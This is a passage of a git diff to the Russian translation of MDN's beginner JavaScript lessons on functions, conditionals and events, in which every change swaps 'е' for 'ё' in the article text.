сообщения.</p> -<p>Вкратце, обработчик <code>onclick</code> — это свойство, доступное для кнопки (или, фактически, для любого элемента страницы), которое можно установить в функцию, чтобы указать, какой код следует запускать при нажатии кнопки. Вы узнаете об этом больше в нашей статье о последующих событиях. Мы делаем обработчик <code>onclick</code> равным анонимной функции, которая содержит код, запускаемый при нажатии кнопки. Строка внутри функции использует функцию {{domxref ("Node.removeChild()")}} DOM API, чтобы указать, что мы хотим удалить определенный дочерний элемент внутри HTML — в данном случае панель <code><div></code>.</p> +<p>Вкратце, обработчик <code>onclick</code> — это свойство, доступное для кнопки (или, фактически, для любого элемента страницы), которое можно установить в функцию, чтобы указать, какой код следует запускать при нажатии кнопки. Вы узнаете об этом больше в нашей статье о последующих событиях. Мы делаем обработчик <code>onclick</code> равным анонимной функции, которая содержит код, запускаемый при нажатии кнопки. Строка внутри функции использует функцию {{domxref ("Node.removeChild()")}} DOM API, чтобы указать, что мы хотим удалить определённый дочерний элемент внутри HTML — в данном случае панель <code><div></code>.</p> <pre class="brush: js">closeBtn.onclick = function() { panel.parentNode.removeChild(panel); @@ -121,9 +121,9 @@ panel.appendChild(closeBtn);</pre> <p>Теперь у вас есть определение функции, написанное в вашем элементе <code><script></code>, но оно ничего не будет делать в том виде, в каком оно есть.</p> <ol> - <li>Попробуйте написать следующую строку под своей функцией, чтобы вызвать ее: + <li>Попробуйте написать следующую строку под своей функцией, чтобы вызвать её: <pre class="brush: js">displayMessage();</pre> - Эта строка вызывает функцию, немедленно запуская ее. Когда вы сохраните код и перезагрузите его в браузере, вы увидите, что небольшое окно сообщения появляется сразу и только один раз.</li> + Эта строка вызывает функцию, немедленно запуская её. Когда вы сохраните код и перезагрузите его в браузере, вы увидите, что небольшое окно сообщения появляется сразу и только один раз.</li> <li> <p>Теперь откройте инструменты разработчика браузера на странице примера, перейдите в консоль JavaScript и снова введите эту строку. Вы увидите, что окно появится снова! Теперь у нас есть функция многократного использования, которую мы можем вызвать в любое время.</p> @@ -132,7 +132,7 @@ panel.appendChild(closeBtn);</pre> <p>В этой демонстрации мы получим окно сообщения, когда пользователь нажимает кнопку.</p> </li> <li>Удалите предыдущую добавленную строку.</li> - <li>Затем мы выберем кнопку и сохраним ссылку на нее в переменной. Добавьте следующую строку в свой код, над определением функции: + <li>Затем мы выберем кнопку и сохраним ссылку на неё в переменной. Добавьте следующую строку в свой код, над определением функции: <pre class="brush: js">var btn = document.querySelector('button');</pre> </li> <li>Наконец, добавьте следующую строку ниже предыдущей: @@ -151,7 +151,7 @@ panel.appendChild(closeBtn);</pre> <h2 id="Улучшение_функции_с_параметрами">Улучшение функции с параметрами</h2> -<p>В нынешнем виде функция по-прежнему не очень полезна — мы не хотим показывать одно и то же сообщение по умолчанию каждый раз. Давайте улучшим нашу функцию, добавив некоторые параметры, позволяющие нам называть ее различными вариантами.</p> +<p>В нынешнем виде функция по-прежнему не очень полезна — мы не хотим показывать одно и то же сообщение по умолчанию каждый раз. Давайте улучшим нашу функцию, добавив некоторые параметры, позволяющие нам называть её различными вариантами.</p> <ol> <li> @@ -170,7 +170,7 @@ panel.appendChild(closeBtn);</pre> <pre class="brush: js">msg.textContent = msgText;</pre> </li> - <li>И последнее, но не менее важное: теперь вам нужно обновить вызов функции, чтобы включить в него обновленный текст сообщения. Измените следующую строку: + <li>И последнее, но не менее важное: теперь вам нужно обновить вызов функции, чтобы включить в него обновлённый текст сообщения. Измените следующую строку: <pre class="brush: js">btn.onclick = displayMessage;</pre> <p>к этому блоку:</p> @@ -178,8 +178,8 @@ panel.appendChild(closeBtn);</pre> <pre class="brush: js">btn.onclick = function() { displayMessage('Woo, this is a different message!'); };</pre> - Если мы хотим указать параметры в круглых скобках для вызываемой нами функции, то мы не можем назвать ее напрямую, нам нужно поместить ее в анонимную функцию, чтобы она не находилась непосредственно в области видимости и, следовательно, не вызывалась немедленно. Теперь она не будет вызываться до нажатия кнопки.</li> - <li>Перезагрузите и протестируйте код еще раз, и вы увидите, что он по-прежнему работает, только теперь вы также можете изменять сообщение внутри параметра, чтобы отображать разные сообщения в окне.</li> + Если мы хотим указать параметры в круглых скобках для вызываемой нами функции, то мы не можем назвать её напрямую, нам нужно поместить её в анонимную функцию, чтобы она не находилась непосредственно в области видимости и, следовательно, не вызывалась немедленно. Теперь она не будет вызываться до нажатия кнопки.</li> + <li>Перезагрузите и протестируйте код ещё раз, и вы увидите, что он по-прежнему работает, только теперь вы также можете изменять сообщение внутри параметра, чтобы отображать разные сообщения в окне.</li> </ol> <h3 id="Более_сложный_параметр">Более сложный параметр</h3> @@ -187,7 +187,7 @@ panel.appendChild(closeBtn);</pre> <p>Переход к следующему параметру. Это потребует немного больше работы. Установим его так, чтобы в зависимости от того, какой параметр <code>msgType</code> установлен, функция отображала другой значок и другой цвет фона.</p> <ol> - <li>Для начала, загрузите значки, необходимые для этого упражнения (<a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png">warning</a> и <a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png">chat</a> [тут черные иконки на черном фоне... тролли на GitHub]) из GitHub. Сохраните их в новой папке <code>icons</code> в том же месте, что и ваш HTML-файл. + <li>Для начала, загрузите значки, необходимые для этого упражнения (<a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/warning.png">warning</a> и <a href="https://raw.githubusercontent.com/mdn/learning-area/master/javascript/building-blocks/functions/icons/chat.png">chat</a> [тут чёрные иконки на чёрном фоне... тролли на GitHub]) из GitHub. Сохраните их в новой папке <code>icons</code> в том же месте, что и ваш HTML-файл. <div class="note"><strong>Примечание</strong>: иконки <a href="https://www.iconfinder.com/icons/1031466/alarm_alert_error_warning_icon">warning</a> и <a href="https://www.iconfinder.com/icons/1031441/chat_message_text_icon">chat</a> были найдены на <a href="https://www.iconfinder.com/" rel="noopener">iconfinder.com</a>, и разработаны <a href="https://www.iconfinder.com/nazarr">Nazarrudin Ansyari</a>. Спасибо! (Фактические страницы значков были перемещены или удалены.) </div> </li> @@ -213,8 +213,8 @@ background-repeat: no-repeat;</pre> } else { msg.style.paddingLeft = '20px'; }</pre> - Здесь, если параметр <code>msgType</code> установлен как <code>'warning'</code>, отображается значок предупреждения, а цвет фона панели устанавливается красным. Если для него установлено значение<code>'chat'</code>, отображается значок чата, а цвет фона панели становится голубым. Если параметр <code>msgType</code> не задан вообще (или задано что-то другое), тогда вступает в действие <code>else {...}</code>, а абзацу просто присваиваются заданные по умолчанию отступы, нет никакого значка, при этом не задается цвет фона окна сообщения. Это обеспечивает состояние по умолчанию, если не указан параметр <code>msgType</code>, что означает, что это необязательный параметр!</li> - <li>Давайте протестируем нашу обновленную функцию, попробуем обновить вызов displayMessage () из этого: + Здесь, если параметр <code>msgType</code> установлен как <code>'warning'</code>, отображается значок предупреждения, а цвет фона панели устанавливается красным. Если для него установлено значение<code>'chat'</code>, отображается значок чата, а цвет фона панели становится голубым. Если параметр <code>msgType</code> не задан вообще (или задано что-то другое), тогда вступает в действие <code>else {...}</code>, а абзацу просто присваиваются заданные по умолчанию отступы, нет никакого значка, при этом не задаётся цвет фона окна сообщения. Это обеспечивает состояние по умолчанию, если не указан параметр <code>msgType</code>, что означает, что это необязательный параметр!</li> + <li>Давайте протестируем нашу обновлённую функцию, попробуем обновить вызов displayMessage () из этого: <pre class="brush: js">displayMessage('Woo, this is a different message!');</pre> <p>к одному из них:</p> @@ -230,7 +230,7 @@ displayMessage('Brian: Hi there, how are you today?','chat');</pre> <h2 id="Вывод">Вывод</h2> -<p>В этой статье мы познакомились со всем процессом создания практической пользовательской функции, которую с небольшими доработками можно перенести в реальный проект. В следующей статье мы рассмотрим еще одну важную концепцию — возвращаемые значения функций.</p> +<p>В этой статье мы познакомились со всем процессом создания практической пользовательской функции, которую с небольшими доработками можно перенести в реальный проект. В следующей статье мы рассмотрим ещё одну важную концепцию — возвращаемые значения функций.</p> <ul> </ul> diff --git a/files/ru/learn/javascript/building_blocks/conditionals/index.html b/files/ru/learn/javascript/building_blocks/conditionals/index.html index a4f5a6e2bf..774d7f2745 100644 --- a/files/ru/learn/javascript/building_blocks/conditionals/index.html +++ b/files/ru/learn/javascript/building_blocks/conditionals/index.html @@ -15,7 +15,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals <div>{{NextMenu("Learn/JavaScript/Building_blocks/Looping_code", "Learn/JavaScript/Building_blocks")}}</div> -<p class="summary">Во многих языках программирования код должен иметь возможность принимать решения на основе введенных пользователем данных. Например, в игре, если у пользователя осталось 0 жизней, то игра завершается. В приложении о погоде утром отображается восход солнца, а вечером звезды и луна. В этой статье мы рассмотрим как в JavaScript работают так называемые "условия".</p> +<p class="summary">Во многих языках программирования код должен иметь возможность принимать решения на основе введённых пользователем данных. Например, в игре, если у пользователя осталось 0 жизней, то игра завершается. В приложении о погоде утром отображается восход солнца, а вечером звезды и луна. В этой статье мы рассмотрим как в JavaScript работают так называемые "условия".</p> <table class="learn-box standard-table"> <tbody> @@ -34,13 +34,13 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals <p>Люди (и животные) принимают какие-либо решения всю жизнь, от малозначимых ("стоит ли мне съесть одну печеньку или две?") до жизнеопределяющих ("стоит ли мне остаться дома и работать на ферме отца или переехать в другую страну и изучать астрофизику?")</p> -<p>Операторы условия в JavaScript позволяют нам указать разного рода действия в зависимости от выбранного пользователем или системой ответа (например одна печенька или две) и связать его с действием (результатом), например, результатом "съесть одну печеньку" будет "все еще буду чувствовать себя голодным", а результатом "съесть две печеньки" будет "буду чувствовать себя сытым, но мама меня нарушает за то, что я съел все сладости". </p> +<p>Операторы условия в JavaScript позволяют нам указать разного рода действия в зависимости от выбранного пользователем или системой ответа (например одна печенька или две) и связать его с действием (результатом), например, результатом "съесть одну печеньку" будет "все ещё буду чувствовать себя голодным", а результатом "съесть две печеньки" будет "буду чувствовать себя сытым, но мама меня нарушает за то, что я съел все сладости". </p> <p><img alt="" src="https://mdn.mozillademos.org/files/13703/cookie-choice-small.png" style="display: block; margin: 0 auto;"></p> <h2 id="Оператор_if_..._else">Оператор if ... else</h2> -<p>Давайте глянем на наиболее распространенный тип условного оператора, который вы будете использовать в JavaScript — <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else">if ... else</a></code><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else"> оператор</a>.</p> +<p>Давайте глянем на наиболее распространённый тип условного оператора, который вы будете использовать в JavaScript — <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else">if ... else</a></code><a href="/ru/docs/Web/JavaScript/Reference/Statements/if...else"> оператор</a>.</p> <h3 id="Базовый_if_..._else_синтаксис">Базовый if ... else синтаксис</h3> @@ -59,7 +59,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals <li>Условие для проверки (condition), расположено внутри круглых скобок (например "это значение больше другого значения?", или "это значение существует?"). Это условие использует операторы сравнения (<a href="/en-US/Learn/JavaScript/First_steps/Math#Comparison_operators">comparison operators</a>), которые мы изучим позже, и возвратит нам <code>true</code> или <code>false</code>.</li> <li>Внутри скобок { } расположен код, который будет выполняться только в том случае, если условие (condition) верно (<code>true)</code>.</li> <li>Ключевое слово <code>else (иначе)</code>.</li> - <li>Еще скобки { }, код внутри которых выполнится, только если условие не верно (не <code>true)</code>.</li> + <li>Ещё скобки { }, код внутри которых выполнится, только если условие не верно (не <code>true)</code>.</li> </ol> <p>Этот код довольно читабелен — он говорит "<strong>if (если)</strong> <strong>condition (условие) </strong>возвращает <code>true (истина)</code>, запусти код A, <strong>else (иначе) </strong>запусти B"</p> @@ -74,7 +74,7 @@ translation_of: Learn/JavaScript/Building_blocks/conditionals <p>Тем не менее, следует быть осторожным — в случае, если код внутри вторых скобок { } не контролируется условием, то этот код будет выполняться <strong>всегда</strong>. Это не плохо, просто вы должны помнить об этом, чаще вы хотите запустить один кусок кода <em>или </em>другой, но не оба.</p> -<p>И, наконец, иногда вы можете встретить код <code>if...else</code> без фигурных скобок в сокращенной форме:</p> +<p>И, наконец, иногда вы можете встретить код <code>if...else</code> без фигурных скобок в сокращённой форме:</p> <pre class="notranslate">if (condition) code to run if condition is true else run some other code instead</pre> @@ -83,7 +83,7 @@ else run some other code instead</pre> <h3 id="Реальный_пример">Реальный пример</h3> -<p>Чтобы лучше понять синтаксис, давайте рассмотрим реальный пример. Представьте, что мать или отец попросили помочь с работой по дому своего ребенка. Родитель может сказать: "Если ты поможешь мне с покупками, то я дам тебе дополнительные деньги на карманные расходы, которые ты сможешь потратить на игрушку, какую захочешь". В JavaScript, мы можем представить это так: </p> +<p>Чтобы лучше понять синтаксис, давайте рассмотрим реальный пример. Представьте, что мать или отец попросили помочь с работой по дому своего ребёнка. Родитель может сказать: "Если ты поможешь мне с покупками, то я дам тебе дополнительные деньги на карманные расходы, которые ты сможешь потратить на игрушку, какую захочешь". В JavaScript, мы можем представить это так: </p> <pre class="brush: js notranslate">var shoppingDone = false; @@ -93,7 +93,7 @@ if (shoppingDone === true) { var childsAllowance = 5; }</pre> -<p>В этом коде, как показано, всегда будет <code>shoppingDone</code> равный <code>false</code>, что означает разочарование для нашего бедного ребенка. Мы должны предоставить механизм для родителя, чтобы установить для переменной <code>shoppingDone</code> значение <code>true</code> , если ребенок помог с покупками.</p> +<p>В этом коде, как показано, всегда будет <code>shoppingDone</code> равный <code>false</code>, что означает разочарование для нашего бедного ребёнка. Мы должны предоставить механизм для родителя, чтобы установить для переменной <code>shoppingDone</code> значение <code>true</code> , если ребёнок помог с покупками.</p> <div class="note"> <p><strong>Примечание</strong>: Вы можете увидеть больше в <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/allowance-updater.html">полной версии этого примера на GitHub</a> (также посмотреть как он <a href="http://mdn.github.io/learning-area/javascript/building-blocks/allowance-updater.html">работает вживую</a>.)</p> @@ -143,7 +143,7 @@ function setWeather() { <ol> <li>Здесь у нас есть элемент HTML {{htmlelement("select")}} который позволяет нам выбирать разные варианты погоды и простой абзац.</li> - <li>В JavaScript мы создаем ссылки на элементы {{htmlelement("select")}} и {{htmlelement("p")}} и добавляем обработчик события элемента <code><select></code>, чтобы при его изменении значения запускалась функция <code>setWeather()</code>.</li> + <li>В JavaScript мы создаём ссылки на элементы {{htmlelement("select")}} и {{htmlelement("p")}} и добавляем обработчик события элемента <code><select></code>, чтобы при его изменении значения запускалась функция <code>setWeather()</code>.</li> <li>Когда функция будет запущена, первоначально мы определим значение переменной <code>choice</code>, которая равна выбранному значению в элементе <code><select></code>. Затем мы используем условный оператор для отображения текста внутри абзаца в зависимости от того, какое значение у переменной <code>choice</code>. Обратите внимание, как все условия проверяются в <code>else if() {...}</code> блоках, за исключением первого, который использует <code>if() {...}</code>блок.</li> <li>Последний выбор, внутри <code>else {...}</code> блока, в основном является «последним средством» — код внутри него будет запущен, если ни одно из условий не будет <code>true</code>. В этом случае он служит для удаления текста из абзаца, если ничего не выбрано, например, если пользователь решает повторно выбрать опцию "--Сделайте выбор--" которая указана в начале.</li> </ol> @@ -176,7 +176,7 @@ if (cheese) { console.log('Сегодня нет сыра для бутерброда.'); }</pre> -<p>И, возвращаясь к нашему предыдущему примеру о ребенке, выполняющем поручение своего родителя, вы можете это записать так:</p> +<p>И, возвращаясь к нашему предыдущему примеру о ребёнке, выполняющем поручение своего родителя, вы можете это записать так:</p> <pre class="brush: js notranslate">var shoppingDone = false; @@ -188,7 +188,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <h3 id="Вложенность_if_..._else">Вложенность if ... else</h3> -<p>Вполне нормально использовать один условный оператор <code>if...else</code> внутри другого — вложить их. Например, мы могли бы обновить наше приложение прогноза погоды, чтобы показать еще один набор вариантов в зависимости от температуры:</p> +<p>Вполне нормально использовать один условный оператор <code>if...else</code> внутри другого — вложить их. Например, мы могли бы обновить наше приложение прогноза погоды, чтобы показать ещё один набор вариантов в зависимости от температуры:</p> <pre class="brush: js notranslate">if (choice === 'sunny') { if (temperature < 86) { @@ -228,7 +228,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' console.log('Вероятно, можно в нем оставаться.'); }</pre> -<p>Последний тип логического оператора НЕ, выраженный <code>!</code> оператором, можно использовать для отрицания выражения. Давайте объединим его с ИЛИ в приведенном выше примере:</p> +<p>Последний тип логического оператора НЕ, выраженный <code>!</code> оператором, можно использовать для отрицания выражения. Давайте объединим его с ИЛИ в приведённом выше примере:</p> <pre class="brush: js notranslate">if (!(iceCreamVanOutside || houseStatus === 'on fire')) { console.log('Вероятно, можно в нем оставаться.'); @@ -236,7 +236,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' console.log('Вы должны быстро покинуть дом.'); }</pre> -<p>В этом фрагменте, если условие ИЛИ возвращает <code>true</code>, оператор НЕ будет отрицать это и выражение вернет <code>false</code>.</p> +<p>В этом фрагменте, если условие ИЛИ возвращает <code>true</code>, оператор НЕ будет отрицать это и выражение вернёт <code>false</code>.</p> <p>Можно сочетать любое количество логических операторов, в любой последовательности и в любой комбинации. В следующем примере код в блоке будет выполняться только в том случае, если оба условия с ИЛИ возвращают true, а следовательно, и оператор И возвращает true:</p> @@ -244,13 +244,13 @@ if (shoppingDone) { // не нужно явно указывать '=== true' // код выполняется }</pre> -<p>Распространенной ошибкой при использовании логического оператора ИЛИ в условном выражении является указание переменной, значение которой нужно проверить со списком возможных значений этой переменной, разделенных операторами <code>||</code> (ИЛИ). Например.</p> +<p>Распространённой ошибкой при использовании логического оператора ИЛИ в условном выражении является указание переменной, значение которой нужно проверить со списком возможных значений этой переменной, разделённых операторами <code>||</code> (ИЛИ). Например.</p> <pre class="example-bad brush: js notranslate">if (x === 5 || 7 || 10 || 20) { // выполнить код }</pre> -<p>В данном примере условие в <code>if(...)</code> всегда будет оцениваться как true, поскольку 7 (или любое другое ненулевое значение) всегда будет оцениваться как true. Фактически, это условие гласит «если х равен 5, или 7 является true». Но нам требуется совсем не это. Чтобы достичь нужной цели, придется выполнять полноценную проверку после каждого оператора ИЛИ:</p> +<p>В данном примере условие в <code>if(...)</code> всегда будет оцениваться как true, поскольку 7 (или любое другое ненулевое значение) всегда будет оцениваться как true. Фактически, это условие гласит «если х равен 5, или 7 является true». Но нам требуется совсем не это. Чтобы достичь нужной цели, придётся выполнять полноценную проверку после каждого оператора ИЛИ:</p> <pre class="brush: js notranslate">if (x === 5 || x === 7 || x === 10 ||x === 20) { // выполнить код @@ -258,7 +258,7 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <h2 id="Оператор_switch">Оператор switch</h2> -<p>Выражения <code>if...else</code> отлично справляются с добавлением условного кода, однако они не лишены недостатков. Они хорошо подходят для ситуации, когда имеется всего пара вариантов развития событий, каждый из которых имеет блок с приемлемым количеством кода, а также в случаях, когда условие является довольно сложным и включает несколько логических операторов. Если же нам требуется всего лишь задать переменную для определенного выбранного значения или напечатать конкретную фразу при определенном условии, изученный нами синтаксис может оказаться довольно громоздким, особенно если имеется большое количество вариантов выбора.</p> +<p>Выражения <code>if...else</code> отлично справляются с добавлением условного кода, однако они не лишены недостатков. Они хорошо подходят для ситуации, когда имеется всего пара вариантов развития событий, каждый из которых имеет блок с приемлемым количеством кода, а также в случаях, когда условие является довольно сложным и включает несколько логических операторов. Если же нам требуется всего лишь задать переменную для определённого выбранного значения или напечатать конкретную фразу при определённом условии, изученный нами синтаксис может оказаться довольно громоздким, особенно если имеется большое количество вариантов выбора.</p> <p>В этом случае нам поможет <a href="/en-US/docs/Web/JavaScript/Reference/Statements/switch">оператор <code>switch</code> </a>– он принимает одно единственное выражение или значение, а затем просматривает ряд вариантов, пока не найдут вариант, соответствующий этому значению, после чего выполняет код, назначенный этому варианту. Вот пример использования этого оператора:</p> @@ -284,13 +284,13 @@ if (shoppingDone) { // не нужно явно указывать '=== true' <li>В скобках приводится выражение или значение.</li> <li>Ключевое слово <code>case</code>, за которым следует вариант выбора (именно он проверяется на соответствие выражению или значению) и двоеточие.</li> <li>Код, который будет выполняться, если вариант совпадает с выражением.</li> - <li>Оператор <code>break</code>, за которым следует точка с запятой. Если вариант совпал с выражением или значением, браузер закончит выполнять блок кода, дойдя до оператора <code>break</code>, и перейдет к выполнению кода, расположенного после оператора switch.</li> + <li>Оператор <code>break</code>, за которым следует точка с запятой. Если вариант совпал с выражением или значением, браузер закончит выполнять блок кода, дойдя до оператора <code>break</code>, и перейдёт к выполнению кода, расположенного после оператора switch.</li> <li>Вариантов выбора (пункты 3–5) может быть сколь угодно много.</li> <li>Ключевое слово <code>default</code> используется точно также, как любой другой вариант выбора (пункты 3–5) за тем исключением, что после <code>default</code> нет других вариантов выбора, поэтому инструкция <code>break</code> не требуется, никакого кода дальше нет. Это вариант выбора по умолчанию, выбираемый, если ни один из других вариантов не совпал с выражением.</li> </ol> <div class="note"> -<p><strong>Примечание.</strong> Вариант выбора <code>default</code> может быть пропущен, если выражение гарантированно совпадет с одним из вариантов выбора. В противном случае вариант <code>default</code> необходим.</p> +<p><strong>Примечание.</strong> Вариант выбора <code>default</code> может быть пропущен, если выражение гарантированно совпадёт с одним из вариантов выбора. В противном случае вариант <code>default</code> необходим.</p> </div> <h3 id="Пример_оператора_switch">Пример оператора switch</h3> @@ -325,7 +325,7 @@ function setWeather() { para.textContent = 'На улице дождь. Возьмите плащ и зонт, и не гуляйте слишком долго'; break; case 'snowing': - para.textContent = 'Идет снег - морозно! Лучше всего посидеть с чашкой горячего шоколада или слепить снеговика.'; + para.textContent = 'Идёт снег - морозно! Лучше всего посидеть с чашкой горячего шоколада или слепить снеговика.'; break; case 'overcast': para.textContent = 'Дождя нет, но небо серое и мрачное; он все может измениться в любую минуту, поэтому на всякий случай возьмите дождевик.'; @@ -343,15 +343,15 @@ function setWeather() { <h2 id="Тернарный_оператор">Тернарный оператор</h2> -<p>Это последний теоретический раздел данной статьи и мы перейдем к практическим упражнениям. <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Тернарный или условный оператор</a> имеет простой синтаксис: он проверяет условие и возвращает одно значение или выражение, если условие является <code>true</code>, и другое значение/выражение, если условие является <code>false</code>. Часто это очень удобная альтернатива блоку <code>if...else</code>, позволяющая затрачивать меньшие усилия на написание кода, когда имеется всего лишь два варианта, выбираемых на основе условия <code>true</code>/<code>false</code>. Общая схема оператора:</p> +<p>Это последний теоретический раздел данной статьи и мы перейдём к практическим упражнениям. <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">Тернарный или условный оператор</a> имеет простой синтаксис: он проверяет условие и возвращает одно значение или выражение, если условие является <code>true</code>, и другое значение/выражение, если условие является <code>false</code>. Часто это очень удобная альтернатива блоку <code>if...else</code>, позволяющая затрачивать меньшие усилия на написание кода, когда имеется всего лишь два варианта, выбираемых на основе условия <code>true</code>/<code>false</code>. Общая схема оператора:</p> <pre class="notranslate">( условие) ? выполнить этот код : выполнить этот код вместо первого</pre> -<p>Приведем простой пример:</p> +<p>Приведём простой пример:</p> -<pre class="brush: js notranslate">var greeting = ( isBirthday ) ? 'С днем рождения, г-н Кузнецов! Хорошо Вам повеселиться!' : 'Доброе утро, г-н Кузнецов.';</pre> +<pre class="brush: js notranslate">var greeting = ( isBirthday ) ? 'С днём рождения, г-н Кузнецов! Хорошо Вам повеселиться!' : 'Доброе утро, г-н Кузнецов.';</pre> -<p>У нас есть переменная <code>isBirthday</code> , если она <code>true</code>, мы отправляем посетителю поздравление с днем рождения; если нет – выдаем стандартное приветствие.</p> +<p>У нас есть переменная <code>isBirthday</code> , если она <code>true</code>, мы отправляем посетителю поздравление с днём рождения; если нет – выдаём стандартное приветствие.</p> <h3 id="Пример_тернарного_оператора">Пример тернарного оператора</h3> @@ -360,7 +360,7 @@ function setWeather() { <pre class="brush: html notranslate"><label for="theme">Выберите тему: </label> <select id="theme"> <option value="white">Белая</option> - <option value="black">Черная</option> + <option value="black">Чёрная</option> </select> <h1>Это мой веб-сайт</h1></pre> @@ -381,9 +381,9 @@ select.onchange = function() { <p>{{ EmbedLiveSample('Пример_тернарного_оператора', '100%', 300) }}</p> -<p>Мы используем элемент {{htmlelement('select')}} для выбора темы (черная или белая), а также простой {{htmlelement('h1')}} для отображения заголовка веб-сайта. Кроме того, у нас есть функция <code>update()</code>, принимающая в качестве параметров (входных данных) два цвета. В качестве фона используется первый переданный цвет, а в качестве цвета текста – второй переданный цвет.</p> +<p>Мы используем элемент {{htmlelement('select')}} для выбора темы (чёрная или белая), а также простой {{htmlelement('h1')}} для отображения заголовка веб-сайта. Кроме того, у нас есть функция <code>update()</code>, принимающая в качестве параметров (входных данных) два цвета. В качестве фона используется первый переданный цвет, а в качестве цвета текста – второй переданный цвет.</p> -<p>Наконец, у нас есть обработчик событий <a href="/en-US/docs/Web/API/GlobalEventHandlers/onchange">onchange</a> , использующийся для запуска функции, содержащей тернарный оператор. Сначала она проверяет условие — <code>select.value === 'black'</code>. Если возвращается <code>true</code>, мы запускаем функцию <code>update()</code> с параметрами черного и белого, в результате чего получаем черный цвет фона и белый цвет текста. Если возвращается <code>false</code>, мы запускаем функцию <code>update()</code> с параметрами белого и черного, в результате чего цвета веб-сайта меняются на противоположные.</p> +<p>Наконец, у нас есть обработчик событий <a href="/en-US/docs/Web/API/GlobalEventHandlers/onchange">onchange</a> , использующийся для запуска функции, содержащей тернарный оператор. Сначала она проверяет условие — <code>select.value === 'black'</code>. Если возвращается <code>true</code>, мы запускаем функцию <code>update()</code> с параметрами чёрного и белого, в результате чего получаем чёрный цвет фона и белый цвет текста. Если возвращается <code>false</code>, мы запускаем функцию <code>update()</code> с параметрами белого и чёрного, в результате чего цвета веб-сайта меняются на противоположные.</p> <div class="note"> <p><strong>Note</strong>: Вы можете <a href="https://github.com/mdn/learning-area/blob/master/javascript/building-blocks/simple-ternary.html">найти этот пример на GitHub</a> (также увидеть <a href="http://mdn.github.io/learning-area/javascript/building-blocks/simple-ternary.html">как он работает</a>.)</p> @@ -602,8 +602,8 @@ textarea.onkeyup = function(){ <ul> <li>Она должна принимать переменную <code>choice</code> в качестве входного выражения.</li> - <li>Каждый элемент case должен содержать вариант выбора, соответствующий одному из доступных для выбора значений: белая, черная, лиловая, желтая или психоделическая тема.</li> - <li>В блоке каждого элемента case необходимо вызывать функцию <code>update()</code>, которой передается два цвета: первый – это цвет фона, а второй – цвет текста. Помните, что значения цветов – это строковые значения, поэтому их нужно заключать в кавычки.</li> + <li>Каждый элемент case должен содержать вариант выбора, соответствующий одному из доступных для выбора значений: белая, чёрная, лиловая, жёлтая или психоделическая тема.</li> + <li>В блоке каждого элемента case необходимо вызывать функцию <code>update()</code>, которой передаётся два цвета: первый – это цвет фона, а второй – цвет текста. Помните, что значения цветов – это строковые значения, поэтому их нужно заключать в кавычки.</li> </ul> <p>Если допустили ошибку, используйте кнопку «Сброс», чтобы вернуться к исходному виду примера. Если у вас совсем ничего не получается, нажмите «Показать решение».</p> @@ -615,9 +615,9 @@ textarea.onkeyup = function(){ <label for="theme">Выберите тему: </label> <select id="theme"> <option value="white">Белая</option> - <option value="black">Черная</option> + <option value="black">Чёрная</option> <option value="purple">Лиловая</option> - <option value="yellow">Желтая</option> + <option value="yellow">Жёлтая</option> <option value="psychedelic">Психоделическая</option> </select> @@ -732,7 +732,7 @@ updateCode(); <h2 id="Заключение">Заключение</h2> -<p>Это все, что вам нужно знать на данный момент об условных логических структурах! Уверены, вы хорошо разобрались в теоретическом материале и с легкостью справились с предложенными упражнениями. Если же что-то осталось для вас непонятным, перечитайте статью еще раз или <a href="/en-US/Learn#Contact_us">свяжитесь с нами</a>.</p> +<p>Это все, что вам нужно знать на данный момент об условных логических структурах! Уверены, вы хорошо разобрались в теоретическом материале и с лёгкостью справились с предложенными упражнениями. Если же что-то осталось для вас непонятным, перечитайте статью ещё раз или <a href="/en-US/Learn#Contact_us">свяжитесь с нами</a>.</p> <h2 id="См._также">См. также</h2> diff --git a/files/ru/learn/javascript/building_blocks/events/index.html b/files/ru/learn/javascript/building_blocks/events/index.html index 054bc58159..287430e632 100644 --- a/files/ru/learn/javascript/building_blocks/events/index.html +++ b/files/ru/learn/javascript/building_blocks/events/index.html @@ -30,14 +30,14 @@ original_slug: Learn/JavaScript/Building_blocks/События <h2 id="Серия_удачных_событий">Серия удачных событий</h2> -<p>При возникновении <strong>события</strong> система генерирует сигнал, а также предоставляет механизм, с помощью которого можно автоматически предпринимать какие-либо действия (например, выполнить определенный код), когда происходит событие. Например, в аэропорту, когда взлетно-посадочная полоса свободна для взлета самолета, сигнал передается пилоту, и в результате они приступают к взлету.</p> +<p>При возникновении <strong>события</strong> система генерирует сигнал, а также предоставляет механизм, с помощью которого можно автоматически предпринимать какие-либо действия (например, выполнить определённый код), когда происходит событие. Например, в аэропорту, когда взлётно-посадочная полоса свободна для взлёта самолёта, сигнал передаётся пилоту, и в результате они приступают к взлету.</p> <p><img alt="" src="https://mdn.mozillademos.org/files/17376/MDN-mozilla-events-runway.png" style="height: 443px; width: 700px;"></p> <p>В Web события запускаются внутри окна браузера и, как правило, прикрепляются к конкретному элементу, который в нем находится. Это может быть один элемент, набор элементов, документ HTML, загруженный на текущей вкладке, или все окно браузера. Существует множество различных видов событий, которые могут произойти, например:</p> <ul> - <li>Пользователь кликает мышью или наводит курсор на определенный элемент.</li> + <li>Пользователь кликает мышью или наводит курсор на определённый элемент.</li> <li>Пользователь нажимает клавишу на клавиатуре.</li> <li>Пользователь изменяет размер или закрывает окно браузера.</li> <li>Завершение загрузки веб-страницы.</li> @@ -48,7 +48,7 @@ original_slug: Learn/JavaScript/Building_blocks/События <p>Подробнее о событиях можно посмотреть в <a href="/ru/docs/Web/Events">Справочнике по событиям</a>.</p> -<p><span>Каждое доступное 